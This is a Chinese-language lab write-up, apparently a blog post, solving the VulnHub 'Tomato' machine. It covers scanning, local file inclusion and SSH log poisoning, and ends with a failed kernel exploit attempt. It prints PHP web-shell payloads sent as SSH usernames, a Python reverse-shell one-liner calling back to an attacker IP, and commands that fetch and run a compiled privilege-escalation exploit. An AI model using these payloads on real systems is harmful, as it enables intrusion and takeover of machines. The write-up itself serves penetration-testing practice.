vulnhub靶机:Tomato

目录

靶机导入

信息收集

发现 IP

目录扫描

端口扫描

访问 web

漏洞利用

方法1:报错连接拿 shell

方法2: 使用python3进行反弹shell

提权


靶机导入

tomato 下载地址:Tomato: 1 ~ VulnHub

信息收集

发现 IP

arp-scan -l

发现靶机 IP 是 192.168.109.148

攻击机 kali 的 IP 是 192.168.109.139

目录扫描

dirb http://192.168.109.148/

端口扫描

nmap -sC -sV -O 192.168.109.148

发现开放了 21、80、8888 端口

访问 web

访问扫目录扫出来的 antibot _image目录

http://192.168.109.148/antibot_image/

右击查看info.php的网页源码,发现存在文件包含漏洞

漏洞利用

在URL后面拼接?image=/etc/passwd (用image参数传入想要获取的文件路径)

?image=/etc/passwd

成功显示,说明存在文件包含漏洞

发现端口没有全部扫描出来,重新扫一下

-A:这个选项启用了“侵略性扫描”,包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。

-p-:这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。

nmap -p- -A 192.168.109.148

扫描出来2211,是ssh的连接端口

方法1:报错连接拿 shell

kali 2024 版本的会报错,2023 版本的可以

我这里由于 kali 的版本不能使用此方法,就拿 centos7 操作了

ssh '<?php @eval($_POST[1]);?>'@192.168.109.148 -p 2211

然后在网页端查看ubuntu报错信息:/var/log/auth.log,/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

?image=/var/log/auth.log

该目录下发现多了一些报错信息,大概率写入木马成功

用蚁剑连接试试

?image=/var/log/auth.log

成功拿到整个网站的目录信息

方法2: 使用python3进行反弹shell

写入一句话木马:

ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.109.148 -p 2211

尝试通过 SSH 连接到 IP 地址为 "192.168.109.148" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。

这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。

拼接下面命令访问成功,说明一句话木马写入成功

?image=/var/log/auth.log&aaa=id

在kali打开监听端口:nc -lnvp 4444

nc -lnvp 4444

使用python3进行反弹shell,在浏览器中拼接下面命令进行访问

?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali监听到操作,成功获得靶机shell

使用下面命令生成可交互式的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提权

查看系统内核版本:

uname -a  

发现系统内核是:Linux ubuntu 4.4.0-21-generic

在kali中查找该系统内核的提权包:

searchsploit ubuntu 4.4.0-21  

尝试发现可以使用45010,下载该包

searchsploit -p 45010
cp /usr/share/exploitdb/exploits/linux/local/45010.c 45010.c
ls

此文件是.c文件,需要编译才能运行,最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序

gcc 45010.c -o exp
ls

开启http服务

python3 -m http.server 80  

到tmp目录下下载提权poc

cd /tmp
wget http://192.168.109.139/exp
ls
chmod +x exp

执行exp文件,如果执行成功则提权成功

./exp

但我这里失败了,报错提示运行的程序 ./exp 需要 GLIBC_2.34 版本的支持,但当前系统中的 glibc 版本低于 2.34 。

查看靶机的版本发现是 2.23

ldd --version

所以用此方法提权啊因为靶机的原因无法实施,就只能止步于此了

  • 16
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值